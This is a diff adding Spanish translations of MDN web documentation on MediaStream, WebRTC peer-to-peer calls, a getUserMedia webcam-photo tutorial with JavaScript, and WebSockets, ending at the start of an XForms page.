+    Devuelve</dt>
+  <dd>
+    Any of the possibilities mentioned above.</dd>
+  <dt>
+    Excepciones</dt>
+  <dd>
+    None.</dd>
+</dl>
+<p>--</p>
+<h3 id="stop()">stop()</h3>
+<p>Detiene permanentemente la creación de datos para las pistas y remueve las referencias a los orígines.</p>
+<dl>
+  <dt>
+    Parámetros</dt>
+  <dd>
+    None.</dd>
+  <dt>
+    Devuelve</dt>
+  <dd>
+    Void.</dd>
+  <dt>
+    Excepciones</dt>
+  <dd>
+    None.</dd>
+</dl>
+<h2 id="Lista_de_pistas_de_MediaStream">Lista de pistas de MediaStream</h2>
+<p>Un MediaStream tiene dos objetos MediaStreamTrackList, uno para la pista de video y otro para la de audio.</p>
+<table>
+  <thead>
+    <tr>
+      <th scope="col">Atributo </th>
+      <th scope="col">Tipo</th>
+      <th scope="col">Descripción</th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <td>length</td>
+      <td>unsigned long, read-only </td>
+      <td>El número de pistas en la lista.</td>
+    </tr>
+    <tr>
+      <td>onaddtrack </td>
+      <td>EventHandler</td>
+      <td>Maneja el evento addtrack.</td>
+    </tr>
+    <tr>
+      <td>onremovetrack </td>
+      <td>EventHandler</td>
+      <td>Maneja el evento removetrack.</td>
+    </tr>
+  </tbody>
+</table>
+<h3 id="Eventos_2">Eventos</h3>
+<table>
+  <thead>
+    <tr>
+      <th scope="col">Evento</th>
+      <th scope="col">Interfaz</th>
+      <th scope="col">Descripción </th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <td>addtrack </td>
+      <td>MediaStreamTrackEvent </td>
+      <td>Se agregó una MediaStreamTrack a la lista.</td>
+    </tr>
+    <tr>
+      <td>removetrack </td>
+      <td>MediaStreamTrackEvent</td>
+      <td>Se removió una MediaStreamTrack de la lista.</td>
+    </tr>
+  </tbody>
+</table>
+<h3 id="add()">add()</h3>
+<p>Agrega una MediaStreamTrack a la lista de pistas.</p>
+<dl>
+  <dt>
+    Parámetros</dt>
+  <dd>
+    MediaStreamTrack <strong>track</strong>, required.</dd>
+  <dt>
+    Devuelve</dt>
+  <dd>
+    Void.</dd>
+  <dt>
+    Excepciones</dt>
+  <dd>
+    INVALID_STATE_ERR if the stream is finished (all tracks have ended).</dd>
+</dl>
+<h3 id="item()">item()<span id="cke_bm_369C" style="display: none;"> </span></h3>
+<p>Devuelve la MediaStreamTrack al valor de índice (index) especificado.</p>
+<dl>
+  <dt>
+    Parámetros</dt>
+  <dd>
+    unsigned long <strong>index</strong>, required.</dd>
+  <dt>
+    Devuelve</dt>
+  <dd>
+    MediaStreamTrack</dd>
+  <dt>
+    Excepciones</dt>
+  <dd>
+    None.</dd>
+</dl>
+<h3 id="Remove()">Remove()</h3>
+<p>Remueve una MediaStreamTrack de la lista de pistas.</p>
+<dl>
+  <dt>
+    Parámetros</dt>
+  <dd>
+    MediaStreamTrack <strong>track</strong>, required.</dd>
+  <dt>
+    Devuelve</dt>
+  <dd>
+    Void.</dd>
+  <dt>
+    Excepciones</dt>
+  <dd>
+    INVALID_STATE_ERR if the stream is finished (all tracks have ended).</dd>
+</dl>
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+<p>{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+  <table class="compat-table">
+    <tbody>
+      <tr>
+        <th>Feature</th>
+        <th>Chrome</th>
+        <th>Firefox (Gecko)</th>
+        <th>Internet Explorer</th>
+        <th>Opera </th>
+        <th>Safari (WebKit)</th>
+      </tr>
+      <tr>
+        <td>Stream API </td>
+        <td>21{{ property_prefix("webkit") }} </td>
+        <td>nightly 18{{ property_prefix("moz") }} </td>
+        <td>{{ CompatUnknown() }} </td>
+        <td>12</td>
+        <td>{{ CompatUnknown() }} </td>
+      </tr>
+    </tbody>
+  </table>
+</div>
+<div id="compat-mobile">
+  <table class="compat-table">
+    <tbody>
+      <tr>
+        <th>Feature</th>
+        <th>Android</th>
+        <th>Firefox Mobile (Gecko)</th>
+        <th>IE Phone</th>
+        <th>Opera Mobile</th>
+        <th>Safari Mobile</th>
+      </tr>
+      <tr>
+        <td>Stream API </td>
+        <td>{{ CompatNo() }} </td>
+        <td>{{ CompatUnknown() }}</td>
+        <td>{{ CompatUnknown() }} </td>
+        <td>{{ CompatNo() }} </td>
+        <td>{{ CompatNo() }} </td>
+      </tr>
+    </tbody>
+  </table>
+</div>
+<p>Actualmente, el uso de WebRTC para acceder a la cámara está soportado en Chrome, Opera y Firefox Nightly 18. Habilitar WebRTC en Firefox Nightly requiere que usted establezca una advertencia (flag) en la configuración:</p>
+<ul style="margin: 0px 0px 1.286em; padding-top: 0px; padding-right: 0px; padding-bottom: 0px;">
+  <li>Escriba "about:config" en la barra de direcciones y diga que sí quiere efectuar los cambios</li>
+  <li>Busque la entrada de "media.navigator.enabled" entry y establezca su valos a "true" [sin comillas]</li>
+</ul>
+<div>
+  <p> </p>
+  <div>
+    <br>
+    <hr>
+    <div id="edn1">
+      <p><a href="#_ednref1" name="_edn1" title="">[i]</a> en castellano,<em>Flujo o transmisión de [multi] Medios</em></p>
+    </div>
+  </div>
+  <hr>
+  <div id="edn1">
+    <p><a href="#_ednref1" name="_edn1" title="">[i]</a> en castellano,<em> Pista de Flujo de Media</em></p>
+  </div>
+  <div id="edn2">
+    <p><a href="#_ednref2" name="_edn2" title="">[ii]</a> del inglés, <em>input </em>y<em>output</em></p>
+  </div>
+  <div id="edn3">
+    <p><a href="#_ednref3" name="_edn3" title="">[iii]</a> en castellano, <em>API de Conexión de Pares</em></p>
+  </div>
+  <div id="edn4">
+    <p><a href="#_ednref4" name="_edn4" title="">[iv]</a> en castellano,<em> Nodo de origen del Audio MediaStream</em></p>
+  </div>
+  <div id="edn5">
+    <p><a href="#_ednref5" name="_edn5" title="">[v]</a> en castellano, <em>Nodo de destino del Audio MediaStream</em></p>
+    <div>
+      <br>
+      <hr>
+      <div id="edn1">
+        <p><a href="#_ednref1" name="_edn1" title="">[i]</a> del inglés,<em>constraints</em></p>
+      </div>
+    </div>
+  </div>
+</div>
+<p> </p>
+<h2 id="Ver_también">Ver también</h2>
+<ul>
+  <li><a href="/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC</a> - la página de introducción a la API</li>
+  <li><a href="/en-US/docs/WebRTC/navigator.getUserMedia" title="/en-US/docs/WebRTC/navigator.getUserMedia">getUserMedia()</a></li>
+  <li><a href="/en-US/docs/WebRTC/taking_webcam_photos" title="/en-US/docs/WebRTC/taking_webcam_photos">Taking webcam photos</a> - un tutorial para usar getUserMedia()</li>
+</ul>
diff --git a/files/es/webrtc/peer-to-peer_communications_with_webrtc/index.html b/files/es/webrtc/peer-to-peer_communications_with_webrtc/index.html
new file mode 100644
index 0000000000..d7c859d646
--- /dev/null
+++ b/files/es/webrtc/peer-to-peer_communications_with_webrtc/index.html
@@ -0,0 +1,99 @@
+---
+title: Comunicaciones peer-to-peer (P2P) con WebRTC
+slug: WebRTC/Peer-to-peer_communications_with_WebRTC
+translation_of: Web/Guide/API/WebRTC/Peer-to-peer_communications_with_WebRTC
+---
+<p>{{SeeCompatTable}}</p>
+<p>Las <strong>WebRTC APIs</strong> están diseñadas para permitir a las aplicaciones JS la creación de conexiones de tiempo real con canales de Audio, Video, y/o Datos (Data), directamente entre usuarios y a través de sus browsers, o hacia servers que soporten los protocolos WebRTC. También potencia navigator.mozGetUserMedia() para acceder a los datos de cámara y micrófono (getUserMedia() está siendo estandarizado por la Media Capture Task Force, así como las Recording APIs).</p>
+<p>Las fuentes primarias de las especificaciones para WebRTC (en constante <strong>evolución</strong>), son las especificaciones <a href="http://dev.w3.org/2011/webrtc/editor/webrtc.html" title="http://dev.w3.org/2011/webrtc/editor/webrtc.html">WebRTC</a> y <a href="http://dev.w3.org/2011/webrtc/editor/getusermedia.html" title="http://dev.w3.org/2009/dap/camera/">getUserMedia</a>, y varios de los borradores del IETF, en mayor medida en el <a href="http://tools.ietf.org/wg/rtcweb/" title="http://tools.ietf.org/wg/rtcweb/">rtcweb working group</a>, pero también <a href="http://tools.ietf.org/wg/mmusic/" title="http://tools.ietf.org/wg/mmusic/">mmusic</a>, <a href="http://tools.ietf.org/wg/rmcat/" title="http://tools.ietf.org/wg/rmcat/">rmcat</a> y algunos otros.<br>
+  <br>
+  Gran parte de la implementación en Chrome y Firefox está basada en código que fue abierto por Google en <a href="http://www.webrtc.org/reference" title="http://www.webrtc.org/reference">webrtc.org</a>.</p>
+<p style="margin-left: 40px;"><span style="color: #ff0000;"><strong>NOTA</strong></span>:  Las versiones actuales de FlashBlock pueden bloquear elementos HTML5 &lt;video&gt;. Si es así, dile que permita el contenido en la página, o deshabilita esa opción vía Herramientas/Add-ons.</p>
+<p>Hay un buen tutorial en las características básicas de WebRTC en <a href="http://www.html5rocks.com/en/tutorials/webrtc/basics/" title="http://www.html5rocks.com/en/tutorials/webrtc/basics/">HTML5 Rocks</a>. Una colección de páginas de pruebas básicas para soportar el desarrollo existe en <a href="http://mozilla.github.com/webrtc-landing" title="http://mozilla.github.com/webrtc-landing">webrtc-landing</a>.</p>
+<p>Puedes hacer simples llamadas persona-a-persona (inclusive si usan Chrome) en <a href="https://apprtc.appspot.com/" title="https://apprtc.appspot.com/">apprtc.appspot.com</a>.</p>
+<p>Una descripción de alto nivel de lo que sucede en una conexión RTCPeerConnection se publicó en un artículo de <a href="https://hacks.mozilla.org/2013/05/embedding-webrtc-video-chat-right-into-your-website/" title="https://hacks.mozilla.org/2013/05/embedding-webrtc-video-chat-right-into-your-website/">Mozilla Hacks</a> (puedes ver todos los artículos sobre WebRTC <a href="https://hacks.mozilla.org/category/webrtc/" title="https://hacks.mozilla.org/category/webrtc/">aquí</a>).</p>
+<p><img alt="Basics of RTCPeerConnection call setup" src="https://hacks.mozilla.org/wp-content/uploads/2013/05/webRTC-BasicsOfHowItWorks2.png" style="width: 898px; height: 805px;"></p>
+<h2 id="Especificaciones">Especificaciones</h2>
+<table class="standard-table">
+  <tbody>
+    <tr>
+      <th scope="col">Especificación</th>
+      <th scope="col">Estado</th>
+      <th scope="col">Comentarios</th>
+    </tr>
+    <tr>
+      <td>WebRTC API</td>
+      <td>En definición</td>
+      <td> </td>
+    </tr>
+    <tr>
+      <td>getUserMedia API</td>
+      <td>En definición</td>
+      <td><a href="http://dev.w3.org/2011/webrtc/editor/getusermedia.html" title="http://dev.w3.org/2011/webrtc/editor/getusermedia.html">http://dev.w3.org/2011/webrtc/editor/getusermedia.html</a></td>
+    </tr>
+  </tbody>
+</table>
+<h2 id="Compatibilidad_de_browsers">Compatibilidad de browsers</h2>
+<div>
+  {{CompatibilityTable}}</div>
+<div id="compat-desktop">
+  <table class="compat-table">
+    <tbody>
+      <tr>
+        <th>Características</th>
+        <th>Chrome</th>
+        <th>Firefox (Gecko)</th>
+        <th>Internet Explorer</th>
+        <th>Opera</th>
+        <th>Safari (WebKit)</th>
+      </tr>
+      <tr>
+        <td>Soporte básico</td>
+        <td>Sí{{property_prefix("webkit")}}</td>
+        <td>Firefox 22</td>
+        <td>{{CompatNo}}</td>
+        <td>{{CompatNo}}</td>
+        <td>{{CompatNo}}</td>
+      </tr>
+      <tr>
+        <td>DataChannels</td>
+        <td>A partir de Chrome 29</td>
+        <td>Firefox 22</td>
+        <td>{{CompatNo}}</td>
+        <td>{{CompatNo}}</td>
+        <td>{{CompatNo}}</td>
+      </tr>
+    </tbody>
+  </table>
+</div>
+<div id="compat-mobile">
+  <table class="compat-table">
+    <tbody>
+      <tr>
+        <th>Feature</th>
+        <th>Android</th>
+        <th>Firefox Mobile (Gecko)</th>
+        <th>IE Phone</th>
+        <th>Opera Mobile</th>
+        <th>Safari Mobile</th>
+      </tr>
+      <tr>
+        <td>Soporte preliminar</td>
+        <td>Via Chrome (detrás de un flag de configuración)</td>
+        <td>Activado en Nightly y Aurora</td>
+        <td>{{CompatNo}}</td>
+        <td>{{CompatNo}}</td>
+        <td>{{CompatNo}}</td>
+      </tr>
+      <tr>
+        <td>DataChannels</td>
+        <td>{{CompatUnknown}}</td>
+        <td>Activado en Nightly y Aurora</td>
+        <td>{{CompatNo}}</td>
+        <td>{{CompatNo}}</td>
+        <td>{{CompatNo}}</td>
+      </tr>
+    </tbody>
+  </table>
+</div>
+<p> </p>
diff --git a/files/es/webrtc/taking_webcam_photos/index.html b/files/es/webrtc/taking_webcam_photos/index.html
new file mode 100644
index 0000000000..143b2ee72f
--- /dev/null
+++ b/files/es/webrtc/taking_webcam_photos/index.html
@@ -0,0 +1,159 @@
+---
+title: Capturar fotografías con la cámara web
+slug: WebRTC/Taking_webcam_photos
+tags:
+  - Canvas
+  - WebRTC
+  - cámara web
+  - getusermedia
+translation_of: Web/API/WebRTC_API/Taking_still_photos
+---
+<h2 id="Introducción_y_demostración">Introducción y demostración</h2>
+<p>Este es un tutorial rápido de cómo acceder a la cámara de tu laptop y capturar una foto con ella. Puedes observar el <a href="http://jsfiddle.net/codepo8/agaRe/4/" title="http://jsfiddle.net/codepo8/agaRe/4/">código final en acción en este JSFiddle</a>. También existe una versión más avanzada en JavaScript para cargar fotos a <strong>imgur</strong> disponible como <a href="https://github.com/codepo8/interaction-cam/" title="https://github.com/codepo8/interaction-cam/">código en GitHub</a> o <a href="http://codepo8.github.com/interaction-cam/" title="http://codepo8.github.com/interaction-cam/">como demo</a>.</p>
+<h2 id="El_formato_HTML">El formato HTML</h2>
+<p>Lo primero que necesitas para acceder a la cámara web utilizando WebRTC es un elemento {{HTMLElement("video")}} y un elemento {{HTMLElement("canvas")}} en la página. El elemento de video recibe la secuencia desde WebRTC y el elemento canvas es utilizado para agarrar la imagen desde el video. También añadimos una imagen de relleno que luego será reemplazada con la toma capturada por la cámara web.</p>
+<pre class="brush:html;">&lt;video id="video"&gt;&lt;/video&gt;
+&lt;button id="startbutton"&gt;Take photo&lt;/button&gt;
+&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+&lt;img src="http://placekitten.com/g/320/261" id="photo" alt="photo"&gt;
+</pre>
+<h2 id="El_script_completo">El script completo</h2>
+<p>Aquí se muestra completamente el código JavaScript. Más abajo, explicaremos gradualmente cada sección con más detalle.</p>
+<pre class="brush:js;">(function() {
+
+  var streaming = false,
+      video        = document.querySelector('#video'),
+      canvas       = document.querySelector('#canvas'),
+      photo        = document.querySelector('#photo'),
+      startbutton  = document.querySelector('#startbutton'),
+      width = 320,
+      height = 0;
+
+  navigator.getMedia = ( navigator.getUserMedia ||
+                         navigator.webkitGetUserMedia ||
+                         navigator.mozGetUserMedia ||
+                         navigator.msGetUserMedia);
+
+  navigator.getMedia(
+    {
+      video: true,
+      audio: false
+    },
+    function(stream) {
+      if (navigator.mozGetUserMedia) {
+        video.mozSrcObject = stream;
+      } else {
+        var vendorURL = window.URL || window.webkitURL;
+        video.src = vendorURL.createObjectURL(stream);
+      }
+      video.play();
+    },
+    function(err) {
+      console.log("An error occured! " + err);
+    }
+  );
+
+  video.addEventListener('canplay', function(ev){
+    if (!streaming) {
+      height = video.videoHeight / (video.videoWidth/width);
+      video.setAttribute('width', width);
+      video.setAttribute('height', height);
+      canvas.setAttribute('width', width);
+      canvas.setAttribute('height', height);
+      streaming = true;
+    }
+  }, false);
+
+  function takepicture() {
+    canvas.width = width;
+    canvas.height = height;
+    canvas.getContext('2d').drawImage(video, 0, 0, width, height);
+    var data = canvas.toDataURL('image/png');
+    photo.setAttribute('src', data);
+  }
+
+  startbutton.addEventListener('click', function(ev){
+      takepicture();
+    ev.preventDefault();
+  }, false);
+
+})();</pre>
+<h2 id="Explicando_paso_a_paso">Explicando paso a paso</h2>
+<p>Entonces, ¿Qué es lo que sucede aquí? Lo analizaremos paso por paso.</p>
+<h3 id="Función_Anónima">Función Anónima</h3>
+<pre class="brush:js;">(function() {
+
+  var streaming = false,
+      video        = document.querySelector('#video'),
+      canvas       = document.querySelector('#canvas'),
+      photo        = document.querySelector('#photo'),
+      startbutton  = document.querySelector('#startbutton'),
+      width = 320,
+      height = 0;</pre>
+<p>Empezamos por encerrar el script entero en una función anónima para evitar las variables globales. Tomamos los elementos HTML que necesitamos y definimos el ancho (width) del video a 320 y la altura (height) a 0, ya que calcularemos la altura apropiada posteriormente.</p>
+<div class="warning">
+  <p>En estos momentos existe una diferencia entre los tamaños de video proporcionados por getUserMedia. Firefox Nightly utiliza una resolución de 352x288 y Opera y Chrome utiliza una resolución de 640x400. Esto cambiará en el futuro, pero cambiando el tamaño con la proporción que usaremos más abajo, nos aseguraremos de no obtener sorpresas desagradables.</p>
+</div>
+<h3 id="Obtener_el_video">Obtener el video</h3>
+<p>Ahora necesitamos obtener el video desde la cámara web. Actualmente esto está predeterminado para los diferentes navegadores, así que necesitamos comprobar cuál es compatible:</p>
+<pre class="brush:js;">  navigator.getMedia = ( navigator.getUserMedia ||
+                         navigator.webkitGetUserMedia ||
+                         navigator.mozGetUserMedia ||
+                         navigator.msGetUserMedia);</pre>
+<p>Le solicitamos al navegador que nos dé un video sin audio y obtenemos una secuencia (stream) en la función de retrollamada:</p>
+<pre class="brush:js;">  navigator.getMedia(
+    {
+      video: true,
+      audio: false
+    },
+    function(stream) {
+      if (navigator.mozGetUserMedia) {
+        video.mozSrcObject = stream;
+      } else {
+        var vendorURL = window.URL || window.webkitURL;
+        video.src = vendorURL.createObjectURL(stream);
+      }
+      video.play();
+    },
+    function(err) {
+      console.log("An error occured! " + err);
+    }
+  );</pre>
+<p>En estos momentos Firefox Nightly necesita que tu configures la propiedad de <code>mozSrcObject</code> del elemento del video con el fin de reproducirlo; para otros navegadores, configura el atributo <code>src</code>. Mientras que Firefox puede utilizar la secuencia de video directamente, Webkit y Opera necesitan crear un objeto URL desde ella. Todo esto será estandarizado en un futuro cercano.</p>
+<h3 id="Redefinir_el_tamaño_del_video">Redefinir el tamaño del video</h3>
+<p>Luego necesitamos configurar el tamaño del video a las dimensiones deseadas.</p>
+<pre class="brush:js;">  video.addEventListener('canplay', function(ev){
+    if (!streaming) {
+      height = video.videoHeight / (video.videoWidth/width);
+      video.setAttribute('width', width);
+      video.setAttribute('height', height);
+      canvas.setAttribute('width', width);
+      canvas.setAttribute('height', height);
+      streaming = true;
+    }
+  }, false);</pre>
+<p>Nos subscribimos al evento <code>canplay </code>del video y leemos sus dimensiones utilizando <code>videoHeight</code> y <code>videoWidth</code>. Estas no están disponible realmente hasta que el evento sea iniciado. Establecemos <code>streaming</code> a verdadero (true) para que compruebe esto solo una vez, mientras que el evento <code>canplay</code>  siga en actividad.</p>
+<p>Esto es todo lo que se necesita para que inicie el video.</p>
+<h3 id="Capturar_una_imagen">Capturar una imagen</h3>
+<p>Ahora necesitamos capturar una imagen utilizando un lienzo (canvas). Asignamos un manejador de eventos al botón de inicio para llamar a la función de <code>takepicture</code>.</p>
+<pre class="brush:js;">  startbutton.addEventListener('click', function(ev){
+      takepicture();
+    ev.preventDefault();
+  }, false);</pre>
+<p>En esta función, reestablecemos el tamaño del lienzo (canvas) a las dimensiones del video, el cual lo sustituye y tenemos un marco del video, el cual se copia al canvas. Luego necesitamos convertir los datos del canvas en datos tipo URL con un encabezado PNG, y establecer el src de la fotografía a este mismo url.</p>
+<pre class="brush:js;">  function takepicture() {
+    canvas.width = width;
+    canvas.height = height;
+    canvas.getContext('2d').drawImage(video, 0, 0, width, height);
+    var data = canvas.toDataURL('image/png');
+    photo.setAttribute('src', data);
+  }
+
+})();</pre>
+<p>Eso es todo lo que se necesita para mostrar la secuencia de la cámara web y capturar una imagen fija de ella, a través de Chrome, Opera y Firefox.</p>
+<h2 id="Compatibilidad">Compatibilidad</h2>
+<p>Actualmente utilizar WebRTC para acceder a la cámara es compatible en Chrome, Opera y Firefox Nightly 18. Para habilitar WebRTC en Firefox Nightly requiere que establezcas un indicador en la configuración:</p>
+<ul>
+  <li>Teclea "about:config" en la barra de direcciones y afirma que quieres realizar algunos cambios.</li>
+  <li>Encuentra la entrada "media.navigator.enabled" y establécelo a verdadero (true).</li>
+</ul>
diff --git a/files/es/websockets/index.html b/files/es/websockets/index.html
new file mode 100644
index 0000000000..f7ac10a94d
--- /dev/null
+++ b/files/es/websockets/index.html
@@ -0,0 +1,37 @@
+---
+title: WebSockets
+slug: WebSockets
+tags:
+  - WebSockets
+  - para_revisar
+---
+<p><span><span style="">{{ SeeCompatTable () }}</span></span></p>
+<p><span><span style="">WebSockets es una tecnología que hace posible abrir una sesión de comunicación interactiva entre el navegador del usuario y un servidor.</span></span> <span><span style="">Con esta API, puedes enviar mensajes a un servidor y recibir respuestas por eventos sin tener que consultar al servidor.</span></span></p>
+<table class="topicpage-table"> <tbody> <tr> <td> <h4 id="Documentation"><a><span><span style="">Documentación</span></span></a></h4> <dl> <dt><a href="/en/WebSockets/Writing_WebSocket_client_applications" title="https://developer.mozilla.org/en/WebSockets/Writing_WebSocket_client_applications"><span><span style="">Cómo escribir aplicaciones para cliente WebSocket</span></span></a></dt> <dd><span><span style="">Una guía tutorial sobre cómo escribir clientes WebSocket para ejecutarse en el navegador.</span></span></dd> <dt><a href="/en/WebSockets/WebSockets_reference" title="https://developer.mozilla.org/en/WebSockets/WebSockets_reference"><span><span style="">Referencia WebSockets</span></span></a></dt> <dd><span><span style="">Una referencia a la API del lado del cliente WebSocket.</span></span></dd> <dt><a href="/en/WebSockets/The_WebSocket_protocol" title="https://developer.mozilla.org/en/WebSockets/The_WebSocket_protocol"><span><span style="">El protocolo WebSocket</span></span></a></dt> <dd><span><span style="">Una referencia al protocolo de WebSocket.</span></span></dd> <dt><a href="/en/WebSockets/Writing_WebSocket_servers" title="https://developer.mozilla.org/en/WebSockets/Writing_WebSocket_servers"><span><span style="">Cómo escribir servidores WebSocket</span></span></a></dt> <dd><span><span style="">Una guía sobre cómo escribir el código del lado del servidor para manejar el protocolo WebSocket.</span></span></dd> </dl> <p><a href="/Special:Tags?tag=WebSockets&amp;language=en" title="https://developer.mozilla.org/Special:Tags?tag=WebSockets&amp;language=en"><span></span></a><a><span><span style="">Ver todas</span></span></a></p> </td> <td> <h4 id="Tools"><span><span style="">Herramientas</span></span></h4> <ul> <li><span><span style=""><a class=" external" href="http://socket.io/" title="http://socket.io/">Socket.</a><a class=" external" href="http://www.google.com/url?q=http%3A%2F%2Fsocket.io&amp;sa=D&amp;sntz=1&amp;usg=AFQjCNHh469AGdVlfIU6_sHUVrgvsaDIaQ">IO</a>:</span></span><span><span style="">una potente API multiplataforma de WebSocket para <a class=" external" href="http://nodejs.org/" title="http://nodejs.org/">Node.js</a>.</span></span></li> <li><span><span style=""><a class=" link-https" href="https://github.com/Worlize/WebSocket-Node" title="https://github.com/Worlize/WebSocket-Node">WebSocket-Node</a> : una implementación de la API del servidor WebSocket <a class=" external" href="http://nodejs.org/" title="http://nodejs.org/">Node.js</a> .</span></span></li> </ul> <p> </p> <h4 id="Related_Topics"><span><span style="">Temas relacionados</span></span></h4> <dl> <dd><span><span style=""><a href="/en/AJAX" title="https://developer.mozilla.org/en/AJAX">AJAX</a> , <a href="/en/JavaScript" title="https://developer.mozilla.org/en/JavaScript">JavaScript</a></span></span></dd> </dl> </td> </tr> </tbody>
+</table>
+<h2 id="Consulta_también"><span><span style="">Consulta también</span></span></h2>
+<ul> <li><a class=" external" href="http://dev.w3.org/html5/websockets/" title="http://dev.w3.org/html5/websockets/"><span><span style="">Especificación de la API de WebSocket</span></span></a></li> <li><a href="/en/Server-sent_events" title="https://developer.mozilla.org/en/Server-sent_events"><span><span style="">Eventos enviados por el servidor </span></span></a></li>
+</ul>
+<h2 id="Compatibilidad_de_los_navegadores"><span><span style="">Compatibilidad de los navegadores</span></span></h2>
+<p><span><span style="">{{ CompatibilityTable () }}</span></span></p>
+<div id="compat-desktop">
+<table class="compat-table"> <tbody> <tr> <th><span><span style="">Característica</span></span></th> <th><span><span style="">Chrome</span></span></th> <th><span><span style="">Firefox (Gecko)</span></span></th> <th><span><span style="">Internet Explorer</span></span></th> <th><span><span style="">Opera</span></span></th> <th><span><span style="">Safari</span></span></th> </tr> <tr> <td><span><span style="">Compatibilidad con la versión -76 {{ obsolete_inline () }}</span></span></td> <td><span><span style="">6</span></span></td> <td><span><span style="">{{ CompatGeckoDesktop ("2.0") }}</span></span></td> <td><span><span style="">{{ CompatNo () }}</span></span></td> <td><span><span style="">11.00 (desactivado)</span></span></td> <td><span><span style="">5.0.1</span></span></td> </tr> <tr> <td><span><span style="">Compatibilidad con el protocolo de la versión 7</span></span></td> <td><span><span style="">{{ CompatNo () }}</span></span></td> <td> <p><span><span style="">{{ CompatGeckoDesktop ("6.0") }}</span></span></p> <div class="note"><span><span style="">usa <code>MozWebSocket</code> .</span></span></div> </td> <td><span><span style="">{{ CompatNo () }}</span></span></td> <td><span><span style="">{{ CompatNo () }}</span></span></td> <td><span><span style="">{{ CompatNo () }}</span></span></td> </tr> <tr> <td><span><span style="">Compatibilidad con el protocolo de la versión 10</span></span></td> <td><span><span style="">14</span></span></td> <td> <p><span><span style="">{{ CompatGeckoDesktop ("7.0") }}</span></span></p> <div class="note"><span><span style="">usa MozWebSocket .</span></span></div> </td> <td><span><span style="">HTML5 Labs</span></span></td> <td><span><span style="">{{ CompatUnknown () }}</span></span></td> <td><span><span style="">{{ CompatUnknown () }}</span></span></td> </tr> </tbody>
+</table>
+</div>
+<div id="compat-mobile">
+<table class="compat-table"> <tbody> <tr> <th><span><span style="">Característica</span></span></th> <th><span><span style="">Android</span></span></th> <th><span><span style="">Firefox Mobile (Gecko)</span></span></th> <th><span><span style="">IE Mobile</span></span></th> <th><span><span style="">Opera Mobile</span></span></th> <th><span><span style="">Safari Mobile</span></span></th> </tr> <tr> <td><span><span style="">Compatibilidad con la versión -76 {{ obsolete_inline () }}</span></span></td> <td><span><span style="">{{ CompatUnknown () }}</span></span></td> <td><span><span>{{ CompatUnknown () }}</span></span></td> <td><span><span>{{ CompatUnknown () }}</span></span></td> <td><span><span>{{ CompatUnknown () }}</span></span></td> <td><span><span>{{ CompatUnknown () }}</span></span></td> </tr> <tr> <td><span><span style="">Compatibilidad con el protocolo de la versión 7</span></span></td> <td><span><span style="">{{ CompatUnknown () }}</span></span></td> <td><span><span>{{ CompatUnknown () }}</span></span></td> <td><span><span>{{ CompatUnknown () }}</span></span></td> <td><span><span>{{ CompatUnknown () }}</span></span></td> <td><span><span>{{ CompatUnknown () }}</span></span></td> </tr> <tr> <td><span><span style="">Compatibilidad con el protocolo de la versión 8 (borrador 10 de IETF)</span></span></td> <td><span><span style="">{{ CompatUnknown () }}</span></span></td> <td><span><span>{{ CompatGeckoMobile ("7.0") }}</span></span></td> <td><span><span>{{ CompatUnknown () }}</span></span></td> <td><span><span>{{ CompatUnknown () }}</span></span></td> <td><span><span>{{ CompatUnknown () }}</span></span></td> </tr> </tbody>
+</table>
+</div>
+<h3 id="Notas_para_Gecko"><span><span style="">Notas para Gecko</span></span></h3>
+<p><span><span style="">El soporte de WebSockets en Firefox sigue de cerca el desarrollo de la especificación WebSocket.</span></span> <span><span style="">Firefox 6 implementa la versión 7 del protocolo subyacente, mientras que Firefox 7 implementa la versión 8 (según lo especificado por el borrador 10 de IETF).</span></span> <span><span style="">Firefox Mobile recibió el soporte de WebSocket en Firefox móvil 7.0.</span></span></p>
+<div class="geckoVersionNote">
+<p><span><span style="">{{ gecko_callout_heading("6.0") }}</span></span></p>
+<p><span><span style="">Antes de Gecko 6.0 {{ geckoRelease ("6,0 ") }}, hubo, incorrectamente, un objeto <code>WebSocket</code> que algunos sitios creyeron que implicaba que los servicios <code>WebSocket</code> no estaban prefijados. Este objeto se ha cambiado a <code>MozWebSocket</code> .</span></span></p>
+</div>
+<div class="geckoVersionNote">
+<p><span><span style="">{{ gecko_callout_heading("7.0") }}</span></span></p>
+<p><span><span style="">A partir de Gecko 7.0 {{ geckoRelease ("7,0 ") }}, la preferencia <code>network.websocket.max-connections</code> se usa para determinar el número máximo de conexiones WebSocket que pueden estar abiertas a la vez.</span></span> <span><span style="">El valor predeterminado es 200.</span></span></p>
+</div>
+<div class="warning"><span><span style="">Advertencia: entre otras cosas, una razón clave por la que WebSockets está desactivado por defecto es el descubrimiento de un <a class=" external" href="http://www.ietf.org/mail-archive/web/hybi/current/msg04744.html" title="http://www.ietf.org/mail-archive/web/hybi/current/msg04744.html">problema de seguridad en el diseño del protocolo</a>.</span></span> <span><span style="">En este momento no se recomienda utilizar WebSockets en las versiones de Firefox en un entorno de producción.</span></span> <span><span style="">Si aun así deseas experimentar con WebSockets, puedes hacerlo abriendo about: config y estableciendo la preferencia network.websocket.enabled en true.</span></span> <span><span style="">También tendrás que establecer la preferencia network.websocket.override-security-block en true para permitir la inicialización de una conexión WebSocket.</span></span></div>
+<p><span><span style="">{{ HTML5ArticleTOC () }}</span></span></p>
+<p><span><span style="">{{ languages ( {"en": "en/WebSockets", "zh-tw": "zh_tw/WebSockets"} ) }}</span></span></p>
diff --git a/files/es/xforms/index.html b/files/es/xforms/index.html
new file mode 100644
index 0000000000..3be77a04b8
--- /dev/null
+++ b/files/es/xforms/index.html
@@ -0,0 +1,28 @@
+---
+title: XForms
+slug: XForms
+tags:
+  - Todas_las_Categorías
+  - XForms
+translation_of: Archive/Web/XForms
+---
+<p> </p>
+<div class="callout-box"><strong><a class="external" href="http://www.w3c.es/Divulgacion/Guiasbreves/XForms">Guía Breve de XForms</a></strong><br>
+Una breve y clara introducción al tema.</div>
+<div>
